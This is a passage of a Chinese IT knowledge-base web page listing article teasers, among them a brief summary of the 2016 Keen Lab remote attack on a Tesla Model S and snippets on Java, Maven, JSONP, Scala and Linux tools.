                        <div>TeslaFree-FallAttack:特斯拉汽车网络安全事件纪要1.引言TeslaFree-FallAttack是由腾讯科恩实验室(TencentKeenSecurityLab)于2016年9月对特斯拉ModelS汽车实施的一次远程攻击事件,揭示了汽车网络安全的严重漏洞,并引发了业界的广泛关注。该事件不仅暴露了特斯拉汽车在信息安全方面的薄弱环节,还对汽车行业的网络安全管理提出了严峻的挑战。2.</div>
                    </li>
                    <li><a href="/article/1880849154649944064.htm"
                           title="软考信安04~网络安全体系与网络安全模型" target="_blank">软考信安04~网络安全体系与网络安全模型</a>
                        <span class="text-muted">jnprlxc</span>
<a class="tag" taget="_blank" href="/search/%E8%BD%AF%E8%80%83%7E%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8%E5%B7%A5%E7%A8%8B%E5%B8%88/1.htm">软考~信息安全工程师</a><a class="tag" taget="_blank" href="/search/web%E5%AE%89%E5%85%A8/1.htm">web安全</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C/1.htm">网络</a><a class="tag" taget="_blank" href="/search/%E5%AE%89%E5%85%A8/1.htm">安全</a>
                        <div>1、网络安全体系概述1.1、网络安全体系概念网络安全体系是网络安全保障系统的最高层概念抽象,是由各种网络安全单元按照一定的规则组成的,共同实现网络安全的目标。网络安全体系包括法律法规政策文件、安全策略、组织管理、技术措施、标准规范、安全建设与运营、人员队伍、教育培训、产业生态、安全投入等多种要素。1.2、网络安全体系特征(1)整体性。网络安全体系从全局、长远的角度实现安全保障,网络安全单元按照一定</div>
                    </li>
                                <li><a href="/article/10.htm"
                                       title="jsonp 常用util方法" target="_blank">jsonp 常用util方法</a>
                                    <span class="text-muted">hw1287789687</span>
<a class="tag" taget="_blank" href="/search/jsonp/1.htm">jsonp</a><a class="tag" taget="_blank" href="/search/jsonp%E5%B8%B8%E7%94%A8%E6%96%B9%E6%B3%95/1.htm">jsonp常用方法</a><a class="tag" taget="_blank" href="/search/jsonp+callback/1.htm">jsonp callback</a>
                                    <div>jsonp 常用java方法 
(1)以jsonp的形式返回:函数名(json字符串) 
/***
	 * 用于jsonp调用
	 * @param map : 用于构造json数据
	 * @param callback : 回调的javascript方法名
	 * @param filters : <code>SimpleBeanPropertyFilter theFilt</div>
                                </li>
                                <li><a href="/article/137.htm"
                                       title="多线程场景" target="_blank">多线程场景</a>
                                    <span class="text-muted">alafqq</span>
<a class="tag" taget="_blank" href="/search/%E5%A4%9A%E7%BA%BF%E7%A8%8B/1.htm">多线程</a>
                                    <div>0 
能不能简单描述一下你在java web开发中需要用到多线程编程的场景?0 
对多线程有些了解,但是不太清楚具体的应用场景,能简单说一下你遇到的多线程编程的场景吗? 
Java多线程 
2012年11月23日 15:41 Young9007 Young9007 
4 
0 0 4 
 
Comment添加评论关注(2) 
3个答案 按时间排序 按投票排序 
 
0 
0 
最典型的如: 
1、</div>
                                </li>
                                <li><a href="/article/264.htm"
                                       title="Maven学习——修改Maven的本地仓库路径" target="_blank">Maven学习——修改Maven的本地仓库路径</a>
                                    <span class="text-muted">Kai_Ge</span>
<a class="tag" taget="_blank" href="/search/maven/1.htm">maven</a>
                                    <div>      安装Maven后我们会在用户目录下发现.m2 文件夹。默认情况下,该文件夹下放置了Maven本地仓库.m2/repository。所有的Maven构件(artifact)都被存储到该仓库中,以方便重用。但是windows用户的操作系统都安装在C盘,把Maven仓库放到C盘是很危险的,为此我们需要修改Maven的本地仓库路径。 
  
 </div>
                                </li>
                                <li><a href="/article/391.htm"
                                       title="placeholder的浏览器兼容" target="_blank">placeholder的浏览器兼容</a>
                                    <span class="text-muted">120153216</span>
<a class="tag" taget="_blank" href="/search/placeholder/1.htm">placeholder</a>
                                    <div>【前言】 
自从html5引入placeholder后,问题就来了, 
不支持html5的浏览器也先有这样的效果, 
各种兼容,之前考虑,今天测试人员逮住不放, 
想了个解决办法,看样子还行,记录一下。 
  
【原理】 
不使用placeholder,而是模拟placeholder的效果, 
大概就是用focus和focusout效果。 
  
【代码】 
<scrip</div>
                                </li>
                                <li><a href="/article/518.htm"
                                       title="debian_用iso文件创建本地apt源" target="_blank">debian_用iso文件创建本地apt源</a>
                                    <span class="text-muted">2002wmj</span>
<a class="tag" taget="_blank" href="/search/Debian/1.htm">Debian</a>
                                    <div>1.将N个debian-506-amd64-DVD-N.iso存放于本地或其他媒介内,本例是放在本机/iso/目录下

2.创建N个挂载点目录  
如下: 
debian:~#mkdir –r /media/dvd1 
debian:~#mkdir –r /media/dvd2 
debian:~#mkdir –r /media/dvd3 
…. 
debian:~#mkdir –r /media</div>
                                </li>
                                <li><a href="/article/645.htm"
                                       title="SQLSERVER耗时最长的SQL" target="_blank">SQLSERVER耗时最长的SQL</a>
                                    <span class="text-muted">357029540</span>
<a class="tag" taget="_blank" href="/search/SQL+Server/1.htm">SQL Server</a>
                                    <div>对于DBA来说,经常要知道存储过程的某些信息: 
 
1.   执行了多少次 
 
2.   执行的执行计划如何 
 
3.   执行的平均读写如何 
 
4.   执行平均需要多少时间 
 
列名          &</div>
                                </li>
                                <li><a href="/article/772.htm"
                                       title="com/genuitec/eclipse/j2eedt/core/J2EEProjectUtil" target="_blank">com/genuitec/eclipse/j2eedt/core/J2EEProjectUtil</a>
                                    <span class="text-muted">7454103</span>
<a class="tag" taget="_blank" href="/search/eclipse/1.htm">eclipse</a>
                                    <div>今天eclipse突然报了com/genuitec/eclipse/j2eedt/core/J2EEProjectUtil 错误,并且工程文件打不开了,在网上找了一下资料,然后按照方法操作了一遍,好了,解决方法如下: 
 
错误提示信息: 
 
An error has occurred.See error log for more details. 
Reason: 
com/genuitec/</div>
                                </li>
                                <li><a href="/article/899.htm"
                                       title="用正则删除文本中的html标签" target="_blank">用正则删除文本中的html标签</a>
                                    <span class="text-muted">adminjun</span>
<a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/html/1.htm">html</a><a class="tag" taget="_blank" href="/search/%E6%AD%A3%E5%88%99%E8%A1%A8%E8%BE%BE%E5%BC%8F/1.htm">正则表达式</a><a class="tag" taget="_blank" href="/search/%E5%8E%BB%E6%8E%89html%E6%A0%87%E7%AD%BE/1.htm">去掉html标签</a>
                                    <div>使用文本编辑器录入文章存入数据中的文本是HTML标签格式,由于业务需要对HTML标签进行去除只保留纯净的文本内容,于是乎Java实现自动过滤。 
如下: 
public static String Html2Text(String inputString) {  
String htmlStr = inputString; // 含html标签的字符串
  String textSt</div>
                                </li>
                                <li><a href="/article/1026.htm"
                                       title="嵌入式系统设计中常用总线和接口" target="_blank">嵌入式系统设计中常用总线和接口</a>
                                    <span class="text-muted">aijuans</span>
<a class="tag" taget="_blank" href="/search/linux+%E5%9F%BA%E7%A1%80/1.htm">linux 基础</a>
                                    <div>               嵌入式系统设计中常用总线和接口 
  
        任何一个微处理器都要与一定数量的部件和外围设备连接,但如果将各部件和每一种外围设备都分别用一组线路与CPU直接连接,那么连线</div>
                                </li>
                                <li><a href="/article/1153.htm"
                                       title="Java函数调用方式——按值传递" target="_blank">Java函数调用方式——按值传递</a>
                                    <span class="text-muted">ayaoxinchao</span>
<a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/%E6%8C%89%E5%80%BC%E4%BC%A0%E9%80%92/1.htm">按值传递</a><a class="tag" taget="_blank" href="/search/%E5%AF%B9%E8%B1%A1/1.htm">对象</a><a class="tag" taget="_blank" href="/search/%E5%9F%BA%E7%A1%80%E6%95%B0%E6%8D%AE%E7%B1%BB%E5%9E%8B/1.htm">基础数据类型</a>
                                    <div>Java使用按值传递的函数调用方式,这往往使我感到迷惑。因为在基础数据类型和对象的传递上,我就会纠结于到底是按值传递,还是按引用传递。其实经过学习,Java在任何地方,都一直发挥着按值传递的本色。 
  
首先,让我们看一看基础数据类型是如何按值传递的。 
  
public static void main(String[] args) {
		
	int a = 2;
</div>
                                </li>
                                <li><a href="/article/1280.htm"
                                       title="ios音量线性下降" target="_blank">ios音量线性下降</a>
                                    <span class="text-muted">bewithme</span>
<a class="tag" taget="_blank" href="/search/ios%E9%9F%B3%E9%87%8F/1.htm">ios音量</a>
                                    <div>直接上代码吧 
  
//second 几秒内下降为0
- (void)reduceVolume:(int)second {
    KGVoicePlayer *player = [KGVoicePlayer defaultPlayer];
    
    if (!_flag) {
        _tempVolume = player.volume;
       </div>
                                </li>
                                <li><a href="/article/1407.htm"
                                       title="与其怨它不如爱它" target="_blank">与其怨它不如爱它</a>
                                    <span class="text-muted">bijian1013</span>
<a class="tag" taget="_blank" href="/search/%E9%80%89%E6%8B%A9/1.htm">选择</a><a class="tag" taget="_blank" href="/search/%E7%90%86%E6%83%B3/1.htm">理想</a><a class="tag" taget="_blank" href="/search/%E8%81%8C%E4%B8%9A/1.htm">职业</a><a class="tag" taget="_blank" href="/search/%E8%A7%84%E5%88%92/1.htm">规划</a>
                                    <div>        抱怨工作是年轻人的常态,但爱工作才是积极的心态,与其怨它不如爱它。 
        一般来说,在公司干了一两年后,不少年轻人容易产生怨言,除了具体的埋怨公司“扭门”,埋怨上司无能以外,也有许多人是因为根本不爱自已的那份工作,工作完全成了谋生的手段,跟自已的性格、专业、爱好都相差甚远。 
  </div>
                                </li>
                                <li><a href="/article/1534.htm"
                                       title="一边时间不够用一边浪费时间" target="_blank">一边时间不够用一边浪费时间</a>
                                    <span class="text-muted">bingyingao</span>
<a class="tag" taget="_blank" href="/search/%E5%B7%A5%E4%BD%9C/1.htm">工作</a><a class="tag" taget="_blank" href="/search/%E6%97%B6%E9%97%B4/1.htm">时间</a><a class="tag" taget="_blank" href="/search/%E6%B5%AA%E8%B4%B9/1.htm">浪费</a>
                                    <div>一方面感觉时间严重不够用,另一方面又在不停的浪费时间。 
 
每一个周末,晚上熬夜看电影到凌晨一点,早上起不来一直睡到10点钟,10点钟起床,吃饭后玩手机到下午一点。 
精神还是很差,下午像一直野鬼在城市里晃荡。 
 
 
为何不尝试晚上10点钟就睡,早上7点就起,时间完全是一样的,把看电影的时间换到早上,精神好,气色好,一天好状态。 
控制让自己周末早睡早起,你就成功了一半。 
 
有多少个工作</div>
                                </li>
                                <li><a href="/article/1661.htm"
                                       title="【Scala八】Scala核心二:隐式转换" target="_blank">【Scala八】Scala核心二:隐式转换</a>
                                    <span class="text-muted">bit1129</span>
<a class="tag" taget="_blank" href="/search/scala/1.htm">scala</a>
                                    <div>Implicits work like this: if you call a method on a Scala object, and the Scala compiler does not see a definition for that method in the class definition for that object, the compiler will try to con</div>
                                </li>
                                <li><a href="/article/1788.htm"
                                       title="sudoku slover in Haskell (2)" target="_blank">sudoku slover in Haskell (2)</a>
                                    <span class="text-muted">bookjovi</span>
<a class="tag" taget="_blank" href="/search/haskell/1.htm">haskell</a><a class="tag" taget="_blank" href="/search/sudoku/1.htm">sudoku</a>
                                    <div>继续精简haskell版的sudoku程序,稍微改了一下,这次用了8行,同时性能也提高了很多,对每个空格的所有解不是通过尝试算出来的,而是直接得出。 
  
board = [0,3,4,1,7,0,5,0,0,
         0,6,0,0,0,8,3,0,1,
         7,0,0,3,0,0,0,0,6,
         5,0,0,6,4,0,8,0,7,
</div>
                                </li>
                                <li><a href="/article/1915.htm"
                                       title="Java-Collections Framework学习与总结-HashSet和LinkedHashSet" target="_blank">Java-Collections Framework学习与总结-HashSet和LinkedHashSet</a>
                                    <span class="text-muted">BrokenDreams</span>
<a class="tag" taget="_blank" href="/search/linkedhashset/1.htm">linkedhashset</a>
                                    <div>        本篇总结一下两个常用的集合类HashSet和LinkedHashSet。 
        它们都实现了相同接口java.util.Set。Set表示一种元素无序且不可重复的集合;之前总结过的java.util.List表示一种元素可重复且有序</div>
                                </li>
                                <li><a href="/article/2042.htm"
                                       title="读《研磨设计模式》-代码笔记-备忘录模式-Memento" target="_blank">读《研磨设计模式》-代码笔记-备忘录模式-Memento</a>
                                    <span class="text-muted">bylijinnan</span>
<a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F/1.htm">设计模式</a>
                                    <div>声明: 本文只为方便我个人查阅和理解,详细的分析以及源代码请移步 原作者的博客http://chjavach.iteye.com/ 
 
 

import java.util.ArrayList;
import java.util.List;



/*
 * 备忘录模式的功能是,在不破坏封装性的前提下,捕获一个对象的内部状态,并在对象之外保存这个状态,为以后的状态恢复作“备忘”
</div>
                                </li>
                                <li><a href="/article/2169.htm"
                                       title="《RAW格式照片处理专业技法》笔记" target="_blank">《RAW格式照片处理专业技法》笔记</a>
                                    <span class="text-muted">cherishLC</span>
<a class="tag" taget="_blank" href="/search/PS/1.htm">PS</a>
                                    <div>注意,这不是教程!仅记录楼主之前不太了解的 
 
 一、色彩(空间)管理 
作者建议采用ProRGB(色域最广),但camera raw中设为ProRGB,而PS中则在ProRGB的基础上,将gamma值设为了1.8(更符合人眼) 
注意:bridge、camera raw怎么设置显示、输出的颜色都是正确的(会读取文件内的颜色配置文件),但用PS输出jpg文件时,必须先用Edit->conv</div>
                                </li>
                                <li><a href="/article/2296.htm"
                                       title="使用 Git 下载 Spring 源码 编译 for Eclipse" target="_blank">使用 Git 下载 Spring 源码 编译 for Eclipse</a>
                                    <span class="text-muted">crabdave</span>
<a class="tag" taget="_blank" href="/search/eclipse/1.htm">eclipse</a>
                                    <div>使用 Git 下载 Spring 源码 编译 for Eclipse 
  
1、安装gradle,下载 http://www.gradle.org/downloads 
配置环境变量GRADLE_HOME,配置PATH  %GRADLE_HOME%/bin,cmd,gradle -v 
  
2、spring4 用jdk8 下载 https://jdk8.java.</div>
                                </li>
                                <li><a href="/article/2423.htm"
                                       title="mysql连接拒绝问题" target="_blank">mysql连接拒绝问题</a>
                                    <span class="text-muted">daizj</span>
<a class="tag" taget="_blank" href="/search/mysql/1.htm">mysql</a><a class="tag" taget="_blank" href="/search/%E7%99%BB%E5%BD%95%E6%9D%83%E9%99%90/1.htm">登录权限</a>
                                    <div>mysql中在其它机器连接mysql服务器时报错问题汇总 
 
一、[running]root@192.168.9.136:~$mysql -uroot -h 192.168.9.108 -p   //带-p参数,在下一步进行密码输入 
Enter password:    //无字符串输入 
ERROR 1045 (28000): Access </div>
                                </li>
                                <li><a href="/article/2550.htm"
                                       title="Google Chrome 为何打压 H.264" target="_blank">Google Chrome 为何打压 H.264</a>
                                    <span class="text-muted">dsjt</span>
<a class="tag" taget="_blank" href="/search/apple/1.htm">apple</a><a class="tag" taget="_blank" href="/search/html5/1.htm">html5</a><a class="tag" taget="_blank" href="/search/chrome/1.htm">chrome</a><a class="tag" taget="_blank" href="/search/Google/1.htm">Google</a>
                                    <div>Google 今天在 Chromium 官方博客宣布由于 H.264 编解码器并非开放标准,Chrome 将在几个月后正式停止对 H.264 视频解码的支持,全面采用开放的 WebM 和 Theora 格式。 
 
Google 在博客上表示,自从 WebM 视频编解码器推出以后,在性能、厂商支持以及独立性方面已经取得了很大的进步,为了与 Chromium 现有支持的編解码器保持一致,Chrome</div>
                                </li>
                                <li><a href="/article/2677.htm"
                                       title="yii 获取控制器名 和方法名" target="_blank">yii 获取控制器名 和方法名</a>
                                    <span class="text-muted">dcj3sjt126com</span>
<a class="tag" taget="_blank" href="/search/yii/1.htm">yii</a><a class="tag" taget="_blank" href="/search/framework/1.htm">framework</a>
                                    <div>1. 获取控制器名 
在控制器中获取控制器名:  $name = $this->getId(); 
在视图中获取控制器名:    $name = Yii::app()->controller->id;  
  
2. 获取动作名  
在控制器beforeAction()回调函数中获取动作名:  $name = </div>
                                </li>
                                <li><a href="/article/2804.htm"
                                       title="Android知识总结(二)" target="_blank">Android知识总结(二)</a>
                                    <span class="text-muted">come_for_dream</span>
<a class="tag" taget="_blank" href="/search/android/1.htm">android</a>
                                    <div>明天要考试了,速速总结如下 
  
1、Activity的启动模式 
       standard:每次调用Activity的时候都创建一个(可以有多个相同的实例,也允许多个相同Activity叠加。) 
       singleTop:可以有多个实例,但是不允许多个相同Activity叠加。即,如果Ac</div>
                                </li>
                                <li><a href="/article/2931.htm"
                                       title="高洛峰收徒第二期:寻找未来的“技术大牛” ——折腾一年,奖励20万元" target="_blank">高洛峰收徒第二期:寻找未来的“技术大牛” ——折腾一年,奖励20万元</a>
                                    <span class="text-muted">gcq511120594</span>
<a class="tag" taget="_blank" href="/search/%E5%B7%A5%E4%BD%9C/1.htm">工作</a><a class="tag" taget="_blank" href="/search/%E9%A1%B9%E7%9B%AE%E7%AE%A1%E7%90%86/1.htm">项目管理</a>
                                    <div>高洛峰,兄弟连IT教育合伙人、猿代码创始人、PHP培训第一人、《细说PHP》作者、软件开发工程师、《IT峰播》主创人、PHP讲师的鼻祖! 
首期现在的进程刚刚过半,徒弟们真的很棒,人品都没的说,团结互助,学习刻苦,工作认真积极,灵活上进。我几乎会把他们全部留下来,现在已有一多半安排了实际的工作,并取得了很好的成绩。等他们出徒之日,凭他们的能力一定能够拿到高薪,而且我还承诺过一个徒弟,当他拿到大学毕</div>
                                </li>
                                <li><a href="/article/3058.htm"
                                       title="linux expect" target="_blank">linux expect</a>
                                    <span class="text-muted">heipark</span>
<a class="tag" taget="_blank" href="/search/expect/1.htm">expect</a>
                                    <div>1. 创建、编辑文件go.sh 
  
#!/usr/bin/expect

spawn sudo su admin

expect  "*password*" { send "13456\r\n" }

interact  
   2. 设置权限 
   chmod u+x go.sh   3.</div>
                                </li>
                                <li><a href="/article/3185.htm"
                                       title="Spring4.1新特性——静态资源处理增强" target="_blank">Spring4.1新特性——静态资源处理增强</a>
                                    <span class="text-muted">jinnianshilongnian</span>
<a class="tag" taget="_blank" href="/search/spring+4.1/1.htm">spring 4.1</a>
                                    <div>目录 
Spring4.1新特性——综述 
Spring4.1新特性——Spring核心部分及其他 
Spring4.1新特性——Spring缓存框架增强 
Spring4.1新特性——异步调用和事件机制的异常处理 
Spring4.1新特性——数据库集成测试脚本初始化 
Spring4.1新特性——Spring MVC增强 
Spring4.1新特性——页面自动化测试框架Spring MVC T</div>
                                </li>
                                <li><a href="/article/3312.htm"
                                       title="idea ubuntuxia 乱码" target="_blank">idea ubuntuxia 乱码</a>
                                    <span class="text-muted">liyonghui160com</span>

                                    <div>    
1.首先需要在windows字体目录下或者其它地方找到simsun.ttf 这个 字体文件。 
2.在ubuntu 下可以执行下面操作安装该字体: 
sudo mkdir /usr/share/fonts/truetype/simsun
sudo cp simsun.ttf  /usr/share/fonts/truetype/simsun
fc-cache -f -v 
</div>
                                </li>
                                <li><a href="/article/3439.htm"
                                       title="改良程序的11技巧" target="_blank">改良程序的11技巧</a>
                                    <span class="text-muted">pda158</span>
<a class="tag" taget="_blank" href="/search/%E6%8A%80%E5%B7%A7/1.htm">技巧</a>
                                    <div>有很多理由都能说明为什么我们应该写出清晰、可读性好的程序。最重要的一点,程序你只写一次,但以后会无数次的阅读。当你第二天回头来看你的代码 时,你就要开始阅读它了。当你把代码拿给其他人看时,他必须阅读你的代码。因此,在编写时多花一点时间,你会在阅读它时节省大量的时间。 
  
让我们看一些基本的编程技巧: 
  
 
 尽量保持方法简短 
 永远永远不要把同一个变量用于多个不同的</div>
                                </li>
                                <li><a href="/article/3566.htm"
                                       title="300个涵盖IT各方面的免费资源(下)——工作与学习篇" target="_blank">300个涵盖IT各方面的免费资源(下)——工作与学习篇</a>
                                    <span class="text-muted">shoothao</span>
<a class="tag" taget="_blank" href="/search/%E5%88%9B%E4%B8%9A/1.htm">创业</a><a class="tag" taget="_blank" href="/search/%E5%85%8D%E8%B4%B9%E8%B5%84%E6%BA%90/1.htm">免费资源</a><a class="tag" taget="_blank" href="/search/%E5%AD%A6%E4%B9%A0%E8%AF%BE%E7%A8%8B/1.htm">学习课程</a><a class="tag" taget="_blank" href="/search/%E8%BF%9C%E7%A8%8B%E5%B7%A5%E4%BD%9C/1.htm">远程工作</a>
                                    <div>工作与生产效率: 
  
 
 A. 背景声音 
 
 
  Noisli:背景噪音与颜色生成器。 
  Noizio:环境声均衡器。 
  Defonic:世界上任何的声响都可混合成美丽的旋律。 
  Designers.mx:设计者为设计者所准备的播放列表。 
  Coffitivity:这里的声音就像咖啡馆里放的一样。 
 
 
 B. 避免注意力分散 
 
 
  Self Co</div>
                                </li>
                                <li><a href="/article/3693.htm"
                                       title="深入浅出RPC" target="_blank">深入浅出RPC</a>
                                    <span class="text-muted">uule</span>
<a class="tag" taget="_blank" href="/search/rpc/1.htm">rpc</a>
                                    <div>深入浅出RPC-浅出篇 
深入浅出RPC-深入篇 
  
RPC 
Remote Procedure Call Protocol 
远程过程调用协议 
  
它是一种通过网络从远程计算机程序上请求服务,而不需要了解底层网络技术的协议。RPC协议假定某些传输协议的存在,如TCP或UDP,为通信程序之间携带信息数据。在OSI网络通信模型中,RPC跨越了传输层和应用层。RPC使得开发</div>
                                </li>
                </ul>
            </div>
        </div>
    </div>

<div>
    <div class="container">
        <div class="indexes">
            <strong>按字母分类:</strong>
            <a href="/tags/A/1.htm" target="_blank">A</a><a href="/tags/B/1.htm" target="_blank">B</a><a href="/tags/C/1.htm" target="_blank">C</a><a
                href="/tags/D/1.htm" target="_blank">D</a><a href="/tags/E/1.htm" target="_blank">E</a><a href="/tags/F/1.htm" target="_blank">F</a><a
                href="/tags/G/1.htm" target="_blank">G</a><a href="/tags/H/1.htm" target="_blank">H</a><a href="/tags/I/1.htm" target="_blank">I</a><a
                href="/tags/J/1.htm" target="_blank">J</a><a href="/tags/K/1.htm" target="_blank">K</a><a href="/tags/L/1.htm" target="_blank">L</a><a
                href="/tags/M/1.htm" target="_blank">M</a><a href="/tags/N/1.htm" target="_blank">N</a><a href="/tags/O/1.htm" target="_blank">O</a><a
                href="/tags/P/1.htm" target="_blank">P</a><a href="/tags/Q/1.htm" target="_blank">Q</a><a href="/tags/R/1.htm" target="_blank">R</a><a
                href="/tags/S/1.htm" target="_blank">S</a><a href="/tags/T/1.htm" target="_blank">T</a><a href="/tags/U/1.htm" target="_blank">U</a><a
                href="/tags/V/1.htm" target="_blank">V</a><a href="/tags/W/1.htm" target="_blank">W</a><a href="/tags/X/1.htm" target="_blank">X</a><a
                href="/tags/Y/1.htm" target="_blank">Y</a><a href="/tags/Z/1.htm" target="_blank">Z</a><a href="/tags/0/1.htm" target="_blank">其他</a>
        </div>
    </div>
</div>
<footer id="footer" class="mb30 mt30">
    <div class="container">
        <div class="footBglm">
            <a target="_blank" href="/">首页</a> -
            <a target="_blank" href="/custom/about.htm">关于我们</a> -
            <a target="_blank" href="/search/Java/1.htm">站内搜索</a> -
            <a target="_blank" href="/sitemap.txt">Sitemap</a> -
            <a target="_blank" href="/custom/delete.htm">侵权投诉</a>
        </div>
        <div class="copyright">版权所有 IT知识库 CopyRight © 2000-2050 E-COM-NET.COM , All Rights Reserved.
<!--            <a href="https://beian.miit.gov.cn/" rel="nofollow" target="_blank">京ICP备09083238号</a><br>-->
        </div>
    </div>
</footer>
<!-- 代码高亮 -->
<script type="text/javascript" src="/static/syntaxhighlighter/scripts/shCore.js"></script>
<script type="text/javascript" src="/static/syntaxhighlighter/scripts/shLegacy.js"></script>
<script type="text/javascript" src="/static/syntaxhighlighter/scripts/shAutoloader.js"></script>
<link type="text/css" rel="stylesheet" href="/static/syntaxhighlighter/styles/shCoreDefault.css"/>
<script type="text/javascript" src="/static/syntaxhighlighter/src/my_start_1.js"></script>





</body>

</html>